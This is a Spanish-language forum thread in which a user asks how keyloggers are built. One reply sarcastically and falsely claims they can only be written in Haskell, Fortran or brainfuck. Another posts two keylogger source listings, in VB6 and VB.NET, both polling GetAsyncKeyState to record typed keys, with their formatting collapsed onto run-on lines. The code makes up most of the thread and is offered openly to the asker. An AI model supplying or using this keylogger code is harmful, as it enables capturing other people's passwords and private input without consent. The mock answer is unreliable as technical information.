Autor
|
Tema: Ayuda con keylog (Leído 2,991 veces)
|
147852
Desconectado
Mensajes: 1
|
Hola gente del foro, quiero postear esta duda: ¿Como esta estructurado un keylogger y en que lenguages se pueden hacer? Si me pasan links es mejor, me puse a buscar en el foro y encontre solo de troyanos Gracias
|
|
|
En línea
|
|
|
|
engel lex
|
solo se puede hacer en haskell con módulos de control en fortran o en brainfuck, se basa en el análisis paralelo de procesamiento del procesador con respecto a la generación de variables de tipo char en la memoria dinámica del sistema operativo...
en google hay ejemplos y códigos para tirar para el techo y mucha información sobre este tema, muchos explicados al mínimo detalle y en español...
|
|
|
En línea
|
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
|
|
|
scott_
Desconectado
Mensajes: 458
Mientras luches, ya eres un ganador
|
Es un control time: ' 'Módulo estándar basKeyLogger.bas ' Option Explicit
Public bLogEnabled As Boolean
Function GetActiveKey() As Integer Static bStarted As Boolean Dim i%
If Not bStarted Then 'Inicializa el estado de las teclas llamando a 'la función GetAsyncKeyState. ' For i = 1 To 256 Call GetAsyncKeyState(i) Next
bStarted = True End If
For i = 1 To 256 'Obtiene la tecla pulsada actualmente. ' If GetAsyncKeyState(i) Then GetActiveKey = i Exit For End If Next End Function
Sub StopLog() bLogEnabled = False End Sub
Sub LogKeys() Dim snTimer! Dim iActiveKey% Dim sChar$, sData$
bLogEnabled = True Do While bLogEnabled snTimer = Timer Do While (Timer - snTimer) < 0.125 'Espera 125 milisegundos hasta 'la próxima pulsación. Loop iActiveKey = GetActiveKey Select Case iActiveKey Case vbKey0 To vbKey9, 32 To 47, vbKeyA To vbKeyZ sChar = Chr$(iActiveKey) sData = sData & sChar Case vbKeyReturn 'Imprime lo que tiene en el buffer. ' Debug.Print sData sData = vbNullString Case Else 'Verifica otras teclas. End Select Loop End Sub
Éste es otro:
Imports System.Runtime.InteropServices ----------------------------------------------------------------- Public Class Form1 Public Shared Function GetAsyncKeyState(ByVal vKey As System.Windows.Forms.Keys) As Short Public Shared Function GetKeyState (ByVal nVirtKey As System.Windows.Forms.Keys) As Short Private Const VK_SHIFT = &H10, VK_CAPITAL = &H14 Private ChangeChr(255) As String --------------------------------------------------------------------- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick 'Letras Dim i As Integer For i = Asc("A") To Asc("Z") If GetAsyncKeyState(i) = -32767 Then If GetAsyncKeyState(VK_SHIFT) > 0 Then If GetKeyState(VK_CAPITAL) > 0 Then RichTextBox1.Text = RichTextBox1.Text & LCase(Chr(i)) Exit Sub Else RichTextBox1.Text = RichTextBox1.Text & UCase(Chr(i)) Exit Sub End If Else If GetKeyState(VK_CAPITAL) > 0 Then RichTextBox1.Text = RichTextBox1.Text & UCase(Chr(i)) Exit Sub Else RichTextBox1.Text = RichTextBox1.Text & LCase(Chr(i)) Exit Sub End If End If End If Next 'Numeros For i = 48 To 57 If GetAsyncKeyState(i) = -32767 Then If GetAsyncKeyState(VK_SHIFT) < 0 Then RichTextBox1.Text = RichTextBox1.Text & ChangeChr(i) Exit Sub Else RichTextBox1.Text = RichTextBox1.Text & Chr(i) Exit Sub End If End If Next 'Espacio If GetAsyncKeyState(32) = -32767 Then RichTextBox1.Text = RichTextBox1.Text + " " End If 'Enter If GetAsyncKeyState(13) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & vbCrLf & "[Enter] " End If 'Esc If GetAsyncKeyState(27) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [Esc] " End If 'Izquierda If GetAsyncKeyState(37) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [Izq] " End If 'Arriba If GetAsyncKeyState(38) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [Arriba] " End If 'Derecha If GetAsyncKeyState(39) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [Der] " End If 'Abajo If GetAsyncKeyState(40) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [Abajo] " End If 'Print Screen If GetAsyncKeyState(44) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [Print Screen] " End If 'Re Pag If GetAsyncKeyState(33) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [Re Pag] " End If 'Av Pag If GetAsyncKeyState(34) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [Av Pag] " End If 'Fin Pag If GetAsyncKeyState(35) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [Fin Pag] " End If 'Inicio Pag If GetAsyncKeyState(36) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [Inicio Pag] " End If 'Supr If GetAsyncKeyState(46) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [Supr] " End If 'Insert If GetAsyncKeyState(45) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [Insert] " End If 'F1 If GetAsyncKeyState(112) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [F1] " End If 'F2 If GetAsyncKeyState(113) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [F2] " End If 'F3 If GetAsyncKeyState(114) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [F3] " End If 'F4 If GetAsyncKeyState(115) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [F4] " End If 'F5 If GetAsyncKeyState(116) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [F5] " End If 'F6 If GetAsyncKeyState(117) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [F6] " End If 'F7 If GetAsyncKeyState(118) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [F7] " End If 'F8 If GetAsyncKeyState(119) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [F8] " End If 'F9 If GetAsyncKeyState(120) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [F9] " End If 'F10 If GetAsyncKeyState(121) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [F10] " End If 'F11 If GetAsyncKeyState(122) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [F11] " End If 'F12 If GetAsyncKeyState(123) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [F12] " End If 'Alt If GetAsyncKeyState(164) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [Alt] " End If 'Num Lock If GetAsyncKeyState(144) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [Num Lock] " End If 'Bloq mayús If GetAsyncKeyState(20) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [Bloq Mayús] " End If 'ñ If GetAsyncKeyState(164) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & "ñ" End If 'Ñ If GetAsyncKeyState(240) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & "Ñ" End If '"." If GetAsyncKeyState(190) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & "." End If '"," If GetAsyncKeyState(188) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & "," End If '"Alt Gr" If GetAsyncKeyState(165) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [Alt Gr] " End If '"Del" If GetAsyncKeyState(8) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [Del] " End If '"Tab" If GetAsyncKeyState(9) = -32767 Then RichTextBox1.Text = RichTextBox1.Text & " [Tab] " End If End Sub
|
|
« Última modificación: 17 Julio 2014, 09:04 am por owl-eyes »
|
En línea
|
Si no intentas salvar una vida, jamás salvarás la de nadie más
|
|
|
|
|